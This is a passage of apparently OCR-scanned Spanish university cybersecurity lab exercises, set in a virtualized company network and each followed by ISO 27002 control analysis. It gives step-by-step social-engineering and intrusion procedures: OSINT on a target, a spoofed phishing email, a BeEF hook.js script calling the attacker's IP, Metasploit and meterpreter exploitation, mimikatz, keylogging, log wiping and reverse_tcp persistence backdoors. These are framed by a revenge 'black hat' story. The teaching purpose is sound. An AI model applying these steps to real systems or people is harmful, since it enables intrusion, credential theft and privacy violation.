criticas como centrales nucleares.

Transmission Control Protocol (Protocolo de Control de la
Transmisién), protocolo de transporte que garantiza que los datos
seran entregados

Contenedor web de servlets desarrollado bajo el proyecto Jakarta en
la Apache Software Foundation.

The Onion Router es un proyecto cuyo objetivo principal es el
desarrollo de una red de comunicaciones distribuida de baja latencia
y superpuesta sobre internet, en la que el encaminamiento de los
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Ubuntu

VLAN

paquetes intercambiados entre los usuarios no revela su identidad su
direccion IP.

Sistema operativo basado en GNU/Linux y que se distribuye como
software libre

Virtual Local Area Network es un método para crear redes logicas
independientes dentro de una misma red fisica.
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Anexos

A Practicas del laboratorio de ciberseguridad

LABORATORIO DE CIBERSEGURIDAD

PRACTICA 1: PROTECCION CONTRA MALWARE E INGENIERIA SOCIAL
Objetivos:

e Conocer algunas de las herramientas mas populares y conceptos basicos de un
ataque hacking en cada una de las fases que establece la certificacion CEH
(Certified Ethical Hacker) y la metodologia OSSTMM (Open Source Security
Testing Methodology Manual). El ataque de esta préctica estara basado en técnicas
de ingenieria social con contenido malicioso.

e Conocer el estandar ISO-IEC 27001 v2013, especialmente los controles que el
estandar ISO-1EC 27002 proporciona como las mejores practicas de seguridad en la
gestion de la seguridad de la informacién.

e El alumno debera determinar, relacionar e implantar, si fuese posible, los controles
propuestos por la ISO-IEC 27002 en el entorno empresarial virtualizado entregado
que aplican en el escenario propuesto.

Instrucciones generales preliminares:

En el paquete EntornoEmpresarialVirtualizado.rar entregado al alumno encontrara todas
las maquinas virtuales necesarias para el buen desarrollo de la practica. EI paquete incluye
las siguientes maquinas virtuales:

Firewall
Servidor Web
Servidor DNS
Servidor FTP
Windows 7
Windows XP
Kali Linux

Para preparar el entorno virtual realizar los siguientes pasos:

1) Abrir Oracle VirtualBox

2) Descomprimir el paquete EntornoEmpresarialVirtualizado.rar

3) Lanzar todas las maquinas virtuales haciendo doble-click en el archivo
NombreMaquina.vbox

Comprobar las interfaces y las IPs que tiene la maquina atacante Kali Linux
1) Mirar las interfaces de red levantadas (ethO, ethl...ethN, lo) y toda la informacion
relativa a ellas:


http://www.eccouncil.org/Certification/certified-ethical-hacker
http://www.isecom.org/mirror/OSSTMM.3.pdf
http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_%28seguridad_inform%C3%A1tica%29

= root@Kkali-tfg:~# ifconfig

El resultado deberia ser el siguiente:

111712

RUMNMNIN
12 er

La interfaz ethO serd la interfaz de tipo NAT de VirtualBox para tener acceso a internet en
el caso de que necesitemos buscar informacion.

La interfaz ethl sera una interfaz de tipo Red Interna de VirtualBox con nombre <Internet>
y que simulara Internet y en la que tendremos asignada una IP "pablica”.

La interfaz eth2 seré& una interfaz Red Externa con nombre <Starbucks> y que simulara una
red local publica y en la que tendremos asignada una IP local.

Creacion de una base de datos en postgresgl para metasploit
Iniciar postgresql y crear una nueva base de datos para metasploit para poder almacenar
todos los datos y poder guardar todos los exploits en caché para entre otras cosas, agilizar
las busquedas de exploits.
i.  Cambiar al usuario postgres
root@kali:~# su postgres
ii.  Crear un usuario msf4_user y poner una contrasefia
postgres@kali:$ createuser msf4 user -P
Enter password for new role: password
Enter it again: password
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create database? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
iii.  Crear una base de datos cuyo propietario sea el usuario msf4_user
postgres@kali:$ createdb —-owner=msf4 user msf4 database
Configurar postgresql para que se ejecute en el inicio de la maguina
root@kali:~# update-rc.d postgresgl enable
iv.  Iniciar metasploit y comprobar si esta conectado a alguna base de datos
root@kali:~# msfconsole
msf > db_status
v.  Conectar con la base de datos creada anteriormente
msf > db_connect msf4 user:password@127.0.0.1:5432/msf4 database
vi.  Reconstruir la caché de la base de datos de metasploit
msf > db rebuild cache
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https://www.virtualbox.org/manual/ch06.html

vii. En otra terminal crear un archivo .yml nuevo a partir del archivo
database.yml.example con el siguiente comando:

root@kali:$ cp
opt/metasploit/apps/pro/ui/config/database.yml.example
/opt/metasploit/apps/pro/ui/config/database.yml

Configurar el archivo database.yml con los datos con los que hemos creado la base
de datos de metasploit en postgresgl. Tanto development como production tienen
que tener los mismos datos. (Nota: hay que borrar &default para que funcione)

PARTE 1: ATAQUE
HISTORIA

A. FASE DE RECONOCIMIENTO

Un amigo que trabaja en una start-up te comenta que sus socios le han engafiado y le han
echado de la empresa, han cambiado las contrasefias de sus cuentas y se han quedado con
todo su trabajo. Ante esta injusticia, decides ponerte tu sombrero negro y con tus
conocimientos técnicos investigar un poco gracias a hacking con buscadores. Con la
informacidn que te da tu amigo de los posibles nombres que habian pensado para la futura
empresa no encuentras mucha informacién ya que el proyecto acaba de empezar.
Encuentras una entrada en un blog de start-ups y proyectos emprendedores, aungue no dice
mucho de la empresa, si dice lo suficiente como para conseguir los nombres de las
principales personas que trabajan en ella y la localizacion de sus oficinas temporales. Es lo
que tienen las start-ups; necesitan darse a conocer, necesitan dar demasiada informacién y
si no se tiene control se puede llegar a dar demasiada informacion interna, privada y
sensible.

Decides buscar en las redes sociales a estas personas para ver qué tipo de informacion
puedes sacar de ellas. Las siguientes paginas son un buen comienzo:

Redes Sociales:

https://www.facebook.com/

https://es.linkedin.com/

https://twitter.com/

Registros:
https://whois.net/

Buscadores de personas:

https://pipl.com

https://www.123people.com

www.peekyou.com

wWww.webmii.com

La investigacion te lleva a averiguar que el director gerente de la empresa le encanta salir
de fiesta y le encanta colgar fotos, algunas un poco bochornosas, por lo que dices
aprovechar su poca discrecion para preparar el ataque. Al tener su Facebook abierto para
cualquier persona y varios de sus amigos también, eso te permite crear unos buenos
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vectores de ataque de ingenieria social sobre todo cuando ya tienes un punto de contacto;
el email empresarial.

B. FASE PREPARACION DEL ATAQUE DE INGENIERIA SOCIAL

Para realizar el ataque de ingenieria social te creas una pagina web sencillita. Lo ideal seria
montarla en un servidor con el que no se te pudiese relacionar ni personalmente ni
geogréficamente...alguno obtenido en antiguas aventuras. Como no crees que tengan
mucho conocimiento técnico las personas de esta empresa decides que no es necesario de
momento hacer el ataque por medio de uno de tus servidores. A lo mejor luego cambias de
idea.

La pagina web simplemente contendrd una supuesta imagen del director gerente. Si tienes
tiempo intentaras copiar alguna de alguna red social y hacerla mas realista, pero el tiempo
apremia.

C. FASE DE EXPLOTACION

Después de tener preparados todos los anzuelos decides realizar el ataque de ingenieria
social.

Preparas un correo que ira dirigido al correo empresarial del director que aparece en la
pagina web en el apartado de contactos, en el que ira incluido un enlace a la pagina web
gue hemos creado y si tienes tiempo un archivo comprimido malicioso como adjunto.

Arrancas los frameworks BeEF y Metasploit dejando este ultimo con un exploit cargado a
la espera de que la victima se conecte.

Cuando la persona que reciba el email, pinche en la url maliciosa se conectara a tu pagina
web y realizaras un ataque con el framework de BeEF redirigiendo la pagina a otra que
vulnere su navegador que servira para conectarse con tu metasploit y asi tener el control de
la maquina de la victima.

KALI LINUK

A partir de este momento, inicias una sesion de meterpreter y consigues las credenciales
del director de su cuenta de administrador, que posiblemente al ser descuidado las utilice
en cuentas de otros equipos de la empresa. Del escritorio de la maquina vulnerada obtienes
informacidn sensible que haréa las delicias de tu amigo, al final es verdad que a su antiguo
jefe le gustan las fotos comprometedoras.
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GUION

A. FASE DE RECONOCIMIENTO

1) Tras haber realizado una investigacion con los buscadores web (google hacking, bing
hacking...) y las redes sociales de nuestro objetivo obtienes:

Email empresarial:

Aficiones del director: la fiesta, viajes a Costa Rica, Venezuela.. y congresos de Start-ups
Imagenes del director: directorparty.jpg, Costarica.jpg

Nombres de amigos y empresas en las que trabajan:

B. FASE PREPARACION DEL ATAQUE DE INGENIERIA SOCIAL

2.1) Montar una pagina web sencilla con una imagen o una red social donde se pueda
colgar una imagen (cuanto mas detallista y creible sea la pagina web, mas probabilidades
de éxito tendra el ataque de ingenieria social).

i.  Lacreacion de la web se puede hacer desde cero, tomar como ejemplo otras webs 0
copiarlas enteras utilizando la herramienta SET (Social Engineering Toolkit) 6 con
la herramienta BeEF (que utilizaremos mas adelante) y que vienen en la distribucion
Kali Linux

ii. En la pagina web habra que insertar el codigo HTML que redirija la victima a la
pagina web de enganche con el que se tomara el control de su navegador web. Por lo
que el codigo deberé contener lo siguiente:

= <title>directorio_imagen</title>

= <script src="http://nuestra_IP:3000/hook.js"></script>
(al iniciar BeEF en Kali, en el terminal de comandos,
aparece donde se encuentra el archivo hook.js en caso de que
no sea la estructura anterior)

= <img src="nombre_imagen_completo" />

(OPCIONAL) Realizar todo nuestro ataque con un servidor de por medio para dificultar
que se relacione directamente nuestra IP y terminal con el ataque. Para ello habria que
crear una maquina virtual con un servidor de preferencia del alumno donde se alojaréa
nuestra pagina web para realizar el ataque de ingenieria social y desde donde se instalara el
troyano.

i.  Aeste servidor se accedera remotamente través de ssh

ii.  Realizar el punto 2.1) en nuestro servidor en vez de en nuestra maquina

2.2) Preparar el email que se le va a enviar a la victima. Se va a utilizar la pagina
https://emkei.cz ya que permite falsificar todos los pardmetros que se requieren en un
email. Para que parezca totalmente real, se utilizaran los datos que se obtuvieron en la fase
de reconocimiento; nombres de amigos en Facebook, empresas en las que trabajan de
Linkedin...

Dentro del cuerpo del correo se afiadira la URL de la pagina maliciosa que se ha creado



https://emkei.cz/

(Nota: No se puede enviar un correo falso (que no existe o existente) a un buzén del mismo
servidor de correo. Gmail, Hotmail, etc. comprueban sus propios remitentes, por lo que se
puede inventar uno que visualmente sea parecido como gmail, que sea corporativo
obtenido de una persona conocida de la victima en la fase de reconocimiento...)

C. FASE DE EXPLOTACION

3.1) Iniciar la herramienta BeEF en Kali y realizar lo siguiente:
i.  Acceder via web al panel de administracion con la cuenta
usuario=beef y contrasefia=beef
ii.  Crear el mismo directorio en nuestro servidor ¢ Kali en
Ivar/www/nombre_directorio_imagen (el nombre_directorio_imagen
es el que se ha puesto en title, esto se hara asi para confundir a la
victima, y que al ver la URL piense que es solamente una imagen)

3.2) Mandar el email e iniciar Metasploit, cargar el mddulo
auxiliary/server/browser_autopwn e introducir los parametros necesarios y dejarlo correr
hasta que cargue todos los exploits y podamos coger la URL del exploit que se vaya a
utilizar.

Para cargar, ejecutar modulos o exploits en metasploit, introducir parametros, etc. acudir a
la "chuleta" de comandos de metasploit que se encuentra en la parte de documentacion.

3.3) En este apartado el alumno asumira el rol de victima. Por lo que tendra que iniciar
sesion como director en la maquina virtual de Windows 7, abrir el gestor de correo gmail
con la cuenta corporativa via web y pinchar en la URL del email malicioso. Este enlace le
Ilevard a la pagina web que se ha creado previamente con la imagen a eleccién del alumno
o la obtenida en la fase de reconocimiento. Una vez hecho ésto su navegador web ya estara
enganchado a BeEF.

3.4) Acceder al framework BeEF a través del navegador web en Kali en la direccion
localhost:3000, introducir las credenciales y seleccionar la IP de la victima que aparecera
en Online Browsers. Posteriormente en '‘Commnds' en el apartado de browser se pasara a
realizar un ataque de redireccionamiento del navegador dentro de Hooked Domain. En el
cuadro de Redirect URL se pondra la URL que en metasploit nos ha entregado.

Una vez hecho todo esto, se conseguird una sesién de meterpreter en el ordenador de la
victima.

3.5) Con el control total de la victima, a través de meterpreter se podra realizar cualquier
accion, desde cargar un archivo malicioso, descargar archivos, crear un backdoor, una
elevacion de privilegios, desinstalar el antivirus...
En caso de necesitarse, se puede mirar la "chuleta" de comandos de meterpreter que se
encuentra en la parte de documentacion.
Acciones a realizar en la victima desde la sesion de meterpreter:

= Descargarse la carpeta 'Fotitos' de la cuenta del director

= Limpiar los registros de los eventos para borrar las huellas
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PARTE 2: CONTROLES
GUION

A. ANALISIS DEL ATAQUE

1.1) Analizar cuéles han sido los elementos técnicos y humanos que han producido que el
ataque haya tenido éxito.

1.2) Analizar qué impacto podria tener este tipo de ataques en una empresa real y como
podria repercutir en su economia.

1.3) Analizar qué medidas implementarias si fueses el administrador de sistemas de la
empresa

B. IDENTIFICACION DE LOS CONTROLES

2.1) Abrir el documento Controles-1SO-IEC-27002:2013.pdf e identificar en el indice qué
control 6 controles aplicarian a este escenario. Indicar los controles.

2.2) Especificar cudales son los apartados en la guia de implementacién del documento
Controles-1SO-IEC-27002:2013.pdf que habria que aplicar para prevenir este tipo de
ataques de cada control identificado en el apartado anterior.

C. IMPLEMENTACION DE LOS CONTROLES

3.1) Implementar, teéricamente o técnicamente si es posible, al menos dos apartados de los
especificados en el apartado anterior.

MEMORIA

El alumno debera documentar todo el proceso del ataque a través de capturas de pantalla
de lo Unicamente pedido e incluyendo las explicaciones necesarias para su comprension
por parte del profesor en la correccion.

Para no extender la memoria hasta limites insospechados, incluir los comandos que tengan
una cierta cohesién en una misma captura. (p. ej. ifconfig, cat /etc/network interfaces; set
Ihost, set rhost, set...)

En la segunda parte se debera contestar a todas las preguntas realizadas y documentar las
implementaciones de los controles tanto practicas como tedricas.






LABORATORIO DE CIBERSEGURIDAD

PRACTICA 2: ACTUALIZACION DE SOFTWARE Y USO DE EQUIPOS DE TRABAJO
FUERA DE LA INFRAESTRUCTURA LABORAL

Objetivos:

Conocer algunas de las herramientas mas populares y conceptos basicos de un
ataque hacking en cada una de las fases que establece la certificacion CEH
(Certified Ethical Hacker) y la metodologia OSSTMM (Open Source Security
Testing Methodology Manual). El ataque de esta préctica estard basado en
técnicas escaneo en redes publicas y uso de vulnerabilidades en equipos
desactualizados.

Conocer el estandar ISO-IEC 27001 v2013, especialmente los controles que el
estandar 1SO-1EC 27002 proporciona como las mejores practicas de seguridad
en la gestion de la seguridad de la informacion.

El alumno deberd determinar, relacionar e implantar, si fuese posible, los
controles propuestos por la ISO-IEC 27002 en el entorno empresarial
virtualizado entregado que aplican en el escenario propuesto.

Instrucciones generales preliminares:

En el paquete EntornoEmpresarialVirtualizado.rar entregado al alumno encontrara
todas las maquinas virtuales necesarias para el buen desarrollo de la practica. El paquete
incluye las siguientes maquinas virtuales:

Firewall
Servidor Web
Servidor DNS
Servidor FTP
Windows XP
Windows 7
Kali Linux

Para preparar el entorno virtual realizar los siguientes pasos:

1) Abrir Oracle VirtualBox

2) Descomprimir el paquete EntornoEmpresarialVirtualizado.rar

3) Lanzar todas las maquinas virtuales al hacer doble-click en el archivo
NombreMaquina.vbox

Instrucciones generales especificas:

Para esta practica el alumno necesitara comprobar las IPs de algunas maquinas virtuales
para simular una red publica externa de la empresa. La red de Starbucks.

La méaquina virtual Windows XP debera tener una IP 172.16.10.100 en red local 3
La maquina virtual Kali Linux debera tener una IP 172.16.10.2 en la interfaz eth2


http://www.eccouncil.org/Certification/certified-ethical-hacker
http://www.isecom.org/mirror/OSSTMM.3.pdf

Para comprobar las direcciones IP en Windows es necesario abrir un terminal de
comandos:

1) Presionar las teclas: Win+R, escribir cmd y darle a enter
2) Escribir en el terminal de comandos: ipconfig /all
3) Comprobar que el ‘Adaptador Ethernet Conexion de area local 3’ contiene la IP
172.16.10.100 en IPv4
En caso de no estar la IP descrita habra que configurarlo.
Para poner una IP estatica en Windows 7 hay que seguir los siguientes pasos:
1) Ir a Inicio > Panel de Control > Redes e Internet > Centro de Redes y Recursos
Compartidos
2) En el panel de la izquierda pinchar con el bot6n izquierdo en 'Cambiar configuracion
del adaptador’
3) Pinchar con el boton derecho en 'Conexiédn de area local' y en 'Propiedades'
4) Seleccionar 'Protocolo de Internet version 4 (TCP/IPv4)"y pinchar en propiedades
5) Seleccionar 'Usar la siguiente direccién IP' e introducir los siguientes valores:

= Direccion IP: 172.16.10.100

= Méscara de subred: 255.255.255.0

= Puerta de enlace predeterminada: 176.16.10.1

& -|5| x|
Microsoft Windows XP [Uersion 5.1.2680] -
(C» Copyright 1785-2001 Microsoft Corp.

C:~Documents and Settings-tecnicoXipconfig sall

Conf iguracidén IP de Windows

Nombre del host

Sufijo DNS principal
Tipo de nodo
Enrutamiento hahilitado
Proxy WINS habilitado

Ndaptador Ethernet Conexidn de area local 3

Sufijo de conexidén especifica DNS :
Descripcidn : Adaptador Ethernet PCI AMD PCHET Fam|

ily #3
Direccidn fisica : B8-00-27-8E-26-D2
DHCP habilitado No
Direccidn IP 172 .16.16.16808
Miscara de subred : 255_255.255.8
Puerta de enlace predeterminada H

PARTE 1: ATAQUE
HISTORIA

A. FASE DE RECONOCIMIENTO

Tras haber accedido a la maquina del jefe y haber obtenido informacion sensible, en
realidad te das cuenta de que no has conseguido lo que tu amigo queria de verdad, es
decir, a todo su trabajo que tanto le habia costado desarrollar y que su empresa se habia
negado a darle siguiendo utilizandolo ellos. Por lo que decides realizar un poco de
google hacking de otros trabajadores de la empresa de los tres nombres e emails que te
paso tu amigo. El segundo de la lista puede ser interesante, es un chico y en su foto de
perfil de Facebook aparece con un ordenador antiguo (un poco estilo vintage) tomando
un café en un starbucks. Puede ser interesante averiguar donde vive y ver si hay algin
starbucks cerca al que suela ir habitualmente.

A través de Instagram descubres que nuestro objetivo normalmente sube las fotos los
lunes y los miércoles a la misma hora por la tarde y todas suelen ser en un starbucks. En
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uno de sus multiples selfies identificas otro establecimiento a través de la ventana del
starbucks por lo que rapidamente con una busqueda en Google Maps averiguas las
coordenadas exactas.

Perfecto, mafiana es miércoles, alli estaras.

B. FASE DE ESCANEO Y ENUMERACION

Una vez estando en el establecimiento esperas a que llegue la victima que al poco
tiempo llega, se pide un café, se sienta, abre su portatil de por lo menos hace 10 afios y
empieza a navegar por la red. Rapidamente echando un vistazo a su pantalla te das
cuenta del SO qué es y de lo facil que va a ser esto.

Con tu portétil ya abierto y con un café al lado para pasar desapercibido, abres Nmap y
empiezas a escanear esa red. Te das cuenta de que el café de nuestro objetivo esta casi
acabado por lo que decides tomar la decision de arriesgarte y realizar un escaneo mas
agresivo y no tan sigiloso como te gustaria. Porque si pierdes esta oportunidad, minimo
hasta el lunes siguiente no podrias hacer nada, no hay tiempo que perder. Descubres la
IP local de la victima, los servicios que esta corriendo su maquina y en qué puertos... Es
tan vintage que no tiene siquiera activado el firewall ya que ni un puerto de su maquina
esta filtrado. Esto cada vez se pone mejor. Pasemos a metasploit.

C. FASE DE EXPLOTACION

Abres tu gran aliado metasploit y cargas uno de los mejores y mas eficaces exploits para
este escenario. Configuras todos los parametros del exploit con los datos obtenidos del
escaneo de nmap y lo lanzas. jBINGO! Entras hasta la cocina. Una sesion de
meterpreter con la que puedes hacer todo lo que desees.

GUION

A. FASE DE RECONOCIMIENTO

1) Tras haber realizado una investigacion con los buscadores web (google hacking, bing
hacking...), las redes sociales de nuestro objetivo y el reconocimiento fisico, obtienes:

e Coordenadas del Starbucks de la victima.
e Ladistribucion que tiene el portéatil de nuestra victima: Windows.

B. FASE DE ESCANEO Y ENUMERACION

2) Conectarse a la misma red publica que la victima y realizar un escaneo para
determinar la IP local que tiene nuestra victima. Realizar un escaneo con nmap, al
tratarse de una red publica de un establecimiento comercial pequefio no tiene por qué
ser muy sigiloso (siempre es recomendable mantener un nivel de sigilo y anonimato,
pero al no saber cuando la victima se puede marchar del establecimiento, es necesario
agilizar el escaneo aunque con ello se genere mas ruido en la red).
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Para escoger las mejores opciones para realizar el escaneo es recomendable mirar la
"chuleta” de las opciones de nmap que viene en la parte de documentacion.

2.1) Determinar qué sistema operativo tiene la victima y que servicios corre el sistema.
Buscar vulnerabilidades de ese SO en la web.

C. FASE DE EXPLOTACION

3) Abrir metasploit:
I.  Buscar el exploit por su nombre en metasploit
ii.  Cargar el exploit
iii.  Configurar los parametros:
- RHOST (IP remote host)
- RPORT(port remote host)
- LHOST (IP local host)
En algunos pardmetros los valores introducidos no tienen por qué ser los
que se necesiten para el ataque que se esté realizando por lo que no habra
que dejar nada preconfigurado sin comprobarlo. Si deseamos obtener
informacion sobre los parametros que se necesitan rellenar se puede
utilizar el comando 'show options' ¢ para un informe mas detallado el
comando 'info".
Para configurar un valor se realiza de la siguiente manera:
msf exploit(hnombre_del_exploit) > set pardmetro valor
iv.  Lanzar el exploit
v.  Con la sesion de meterpreter abierta:
= Realizar una elevacion de privilegios
= Listar los procesos de la victima
= Migrar a otro proceso mas permanente
= Hacer un captura de su pantalla (abrir iméagenes de la terminal de kali:
gnome-open)
= Limpiar los registros de la méaquina vulnerada
= Cargar mimikatz
= Obtener las contrasefias en texto claro de los usuarios que se hayan
autenticado desde el ultimo inicio
= Obtener los hashes de todas las contrasefias de los usuarios del sistema se
hayan autenticado o no y guardarlos en un fichero local para
posteriormente realizar un ataque de fuerza bruta o diccionario a las que
no se hayan obtenido en texto claro
= Registrar todas las pulsaciones de teclado de la actividad del proceso
explorer.exe
= Registrar todas las pulsaciones de teclado de la actividad en el proceso
explorer.exe y de los inicios de sesidn y guardarlo en ficheros diferentes
= Dejar dos puertas traseras desde meterpreter:
a. Un usuario nuevo desde el médulo incgnito
b. Cargar el exploit 'persistence’ de windows catalogado como
excelente 'y configurar los siguientes parametros Yy
posteriormente correr el exploit:
- Payload: reverse_tcp
- STARTUP: SYSTEM
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- SESSION: id de la sesién de meterpreter que se tenga
corriendo en la victima

- LHOST

- LRPORT: 5554
Cargar el exploit 'multi/handler’, configurar los  parametros y
correr el exploit en background (run -j, para ver las tareas que
estamos realizando en background el comando es 'jobs -j):

- LHOST

- LPORT: 5554

PARTE 2: CONTROLES
GUION

A. ANALISIS DEL ATAQUE

1.1) Analizar cuales han sido los elementos técnicos y humanos que han producido que
el ataque haya tenido éxito.

1.2) Analizar qué impacto podria tener este tipo de ataques en una empresa real y como
podria repercutir en su economia.

1.3) Analizar qué medidas implementarias si fueses el administrador de sistemas de la
empresa.

B. IDENTIFICACION DE LOS CONTROLES

2.1) Abrir el documento Controles-ISO-IEC-27002:2013.pdf e identificar en el indice
qué control 6 controles aplicarian a este escenario. Indicar los controles.

2.2) Especificar cuéles son los apartados en la guia de implementacion del documento
Controles-1SO-IEC-27002:2013.pdf que habria que aplicar para prevenir este tipo de
ataques de cada control identificado en el apartado anterior.

C. IMPLEMENTACION DE LOS CONTROLES
3.1) Implementar tedricamente el control 6.2.2.
MEMORIA

El alumno debera documentar todo el proceso del ataque a través de capturas de pantalla
de lo anicamente pedido e incluyendo las explicaciones necesarias para su comprension
por parte del profesor en la correccion.

Para no extender la memoria, incluir los comandos que tengan una cierta cohesion en
una misma captura. (p. ej. ifconfig, cat /etc/network interfaces; set Ihost, set rhost,
set...)

En la segunda parte se debera contestar a todas las preguntas realizadas y documentar
las implementaciones de los controles tanto practicas como teoricas.

A-13



A-14



LABORATORIO DE CIBERSEGURIDAD

PRACTICA 3: SEGREGACION DE REDES Y CONFIGURACION DE CUENTAS

Objetivos:

Conocer algunas de las herramientas mas populares y conceptos basicos de un
ataque hacking en cada una de las fases que establece la certificacion CEH
(Certified Ethical Hacker) y la metodologia OSSTMM (Open Source Security
Testing Methodology Manual). El ejercicio de esta practica estar4 basado en
ataques a aplicaciones web y en lo que puede desencadenar si el servidor que
aloja esas aplicaciones a internet en vez de estar en una DMZ (Zona
Desmilitarizada) esta en la red interna de la empresa.

Conocer el estdndar 1ISO-IEC 27001 v2013, especialmente los controles que el
estandar 1SO-1EC 27002 proporciona como las mejores practicas de seguridad
en la gestion de la seguridad de la informacion.

El alumno deberd determinar, relacionar e implantar, si fuese posible, los

controles propuestos por la ISO-IEC 27002 en el entorno empresarial
virtualizado entregado que aplican en el escenario propuesto.

Instrucciones generales preliminares:
En el paquete EntornoEmpresarialVirtualizado.rar entregado al alumno encontrara
todas las maquinas virtuales necesarias para el buen desarrollo de la préactica. El paquete
incluye las siguientes maquinas virtuales:

Firewall
Servidor Web
Servidor DNS
Servidor FTP
Windows XP
Windows 7
Kali Linux

Para preparar el entorno virtual realizar los siguientes pasos:

1) Abrir Oracle VirtualBox

2) Descomprimir el paquete EntornoEmpresarialVirtualizado.rar

3) Lanzar todas las maquinas virtuales al hacer doble-click en el archivo
NombreMaquina.vbox

Instrucciones generales especificas:

Para esta préactica el alumno necesitard comprobar el funcionamiento de lared EPS y la
de simlinternet.
La maquina virtual Kali Linux debera tener una IP 172.16.1.2 en la interfaz ethl.

Comprobar las interfaces y las IPs que tiene la maquina atacante Kali Linux
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1) Mirar las interfaces de red levantadas (ethO, ethl...ethN, lo) y toda la informacién
relativa a ellas:

= root@Kkali-tfg:~# ifconfig
El resultado deberia ser el siguiente:

PARTE 1: ATAQUE

HISTORIA

A. FASE DE RECONOCIMIENTO

Tras el ultimo ataque, aunque fue mas productivo que el anterior, todavia no
conseguiste lo que andabas buscando asi que no te queda mas opcién que buscar otra
alternativa; no parece que los altos cargos de esa empresa sean los que hacen el codigo
de la aplicacion. Habra que realizar un ataque mas directo, pero ain no sabes como.
Abres tu navegador y aunque no esperas encontrar nada nuevo, un nuevo hallazgo te da
una sensacion de alegria enorme; han creado su pagina web. La pagina web es bastante
sencilla por lo que en principio no hay mucho que explotar. Pero de cualquier manera el
servidor web puede ser una posibilidad para entrar en su red laboral privada. Perfecto.

B. FASE DE ESCANEO Y ENUMERACION

Decides lanzar un escaneo con Nmap a la direccion IP de la pagina, es posible que el
servidor que la aloja tenga algin servicio corriendo que tenga alguna version
vulnerable.

Como este escaneo no tiene limite de tiempo decides hacerlo lo més sigiloso posible no
vaya a ser que tengan un IDS (Intrusion Detection System) entre otras cosas y tengamos
un problema. Esperemos que la politica de empresa sea como la de nuestro ultimo
trabajador; sin firewall, o al menos que no lo hayan configurado bien y nos deje pasar
todo...

Cuando obtenemos los resultados del escaneo, un servicio concreto nos llama la
atencion por la version que corre, parece un poco vieja... Recuerdas que esa version
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sufrio una vulnerabilidad hace unos afios en los servidores web con apache que
utilizaban esa aplicacion. En vez de buscar la vulnerabilidad directamente en internet,
decides que a lo mejor tienes més suerte y el servidor puede tener alguna vulnerabilidad
mas por lo que realizas un escaneo con Nessus. Vaya, esto se pone interesante.

C. FASE DE EXPLOTACION

Abres metasploit, buscas por el identificador CVE (Common Vulnerabilities and
Exposures) la vulnerabilidad que te han devuelto Nessus y Google que tiene ese servicio
que te habia Ilamado la atencidén. Metasploit muy obedientemente te da unos cuantos
resultados.

Primero abres el exploit clasico 'deploy’ y empiezas a introducir los pardmetros
necesarios para lanzar el exploit. Hay dos parametros que te faltan el usuario y la
contrasefia, por lo que buscas en metasploit por el nombre del servicio por si hay algun
escaner gque pueda ayudarte a encontrar esos parametros.

La base de datos de metasploit de devuelve varios y utilizas un escaner del modulo
auxiliar, que hace referencia al exploit que estas utilizando.

Cargas el escaner y lo lanzas rellenando los pardmetros previamente. A los pocos
segundos el escaneo te devuelve un username y un password, justo lo que necesitabas.

Terminas de introducir todos los parametros necesarios en el exploit y lo lanzas. Lanzas
un Shell para inspeccionar el servidor tranquilamente y ver que usuario eres. Este
servicio no corria con un usuario con privilegios root, por lo que tendras que realizar
una elevacion de privilegios. Se te ocurre que tal vez hayan configurado mal las
carpetas y haya algunas con informacion sensible que tenga permisos de lectura para
todos.

Te diriges directamente hacia la carpeta de las llaves autorizadas de ssh porque sabes
que habia una vulnerabilidad en OpenSSL hace unos afios que descifraba las llaves
cifradas ssh. A lo mejor quien ha instalado este servidor, viendo su fallo anterior, ha
podido dejar este también.

Efectivamente ahi estan las llaves para todo aquel que quiera verlas sin necesidad de
privilegios, vas directo a un terminal nuevo de Kali y buscas con searchsploit 'openssl’
para que te refresque como era aquella vulnerabilidad. Lees el archivo de texto con las
instrucciones y realizas el ataque. Tras un rato tienes la llave descifrada.

A partir de aqui es coser y cantar, te conectas por ssh con la llave descifrada al servidor
con el usuario root. Una vez obtenido el usuario root, vamos a intentar conseguir las
contrasefias de todos los usuarios del sistema. Como Linux guarda sus contrasefias en
hashes vamos a tener que recurrir a realizar un ataque de diccionario, ya que de fuerza
bruta puede llevarte horas, meses, afios o incluso morir antes de conseguir descifrarlo, y
mas aun teniendo en cuenta la capacidad de tu ordenador que es bastante normalita.

En realidad que estén en hashes no te preocupa mucho ya que tienes el gran diccionario
de 122 millones de hashes con sus contrasefias en claro que un cracker obtuvo después
de dedicarle cinco meses intensivos a un torrent que contenia 145 millones de
contrasefias que se filtré por twitter. Descifrar estos hashes con ese diccionario te lleva
segundos. Una vez obtenidos las contrasefias en claro tiene pinta de que vas a poder
acceder a cualquier maquina de esa red. Por lo que echas un vistazo a ver que hay.
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Escaneas la red interna con Nmap y descubres un servidor de archivos, seguramente
este ahi lo que verdaderamente busca tu amigo. Acceder via web al servidor FTP con las
cuentas gque acabas de obtener es pan comido.

GUION

A. FASE DE RECONOCIMIENTO
1) Tras haber realizado una investigacion con los buscadores web (google hacking, bing
hacking...) y las redes sociales de nuestro objetivo obtienes:

Pagina web de la empresa en la IP: 172.16.1.10
B. FASE DE ESCANEO Y ENUMERACION

2) Realizar un escaneo sigiloso con nmap sin demorarse muchisimo, para ello se
presentaran las siguientes condiciones:

i.  Realizar la mitad de la conexion TCP three-way-handshake, es decir, realizar el
escaneo s6lo con el primer handshake para evitar que quede registrado en el
servidor que se ha abierto/establecido una conexion TCP. Si sospechamos que
hay un firewall se podria realizar un escaneo Christmas

ii.  Detectar servicios remotos

iii.  Detectar sistema operativo
iv. Realizar el escaneo con paquetes fragmentados para dividir la cabecera de TCP
para dificultar la deteccion por un filtro de paquetes, un IDS...

v.  Guardar los resultados del escaneo en un archivo .xml para poder cargarlo en la
base de datos de metasploit en un futuro

2.2) (OPCIONAL) Utilizar la herramienta Nessus.
i.  Descargar e instalar la tltima version desde la pagina oficial
ii.  Reiniciar el servicio nessusd
iii.  Acceder a https://localhost:8834/
iv.  Registrarse en pagina web para uso personal
v. Realizar un escaneo desde su interfaz web
vi.  Observar los resultados via web
vii.  Iniciar Metasploit
viii.  Conectar la base de datos al servidor Nessus con tus credenciales
iX.  Realizar un nuevo escaneo con Nessus
X.  Observar los resultados via terminal

C. FASE DE EXPLOTACION
3) Encontrar la vulnerabilidad CVE de Tomcat de Apache.

3.1) Arrancar metasploit y buscar por el codigo CVE cargar el exploit y configurar
todos sus parametros. Explotar el sistema.
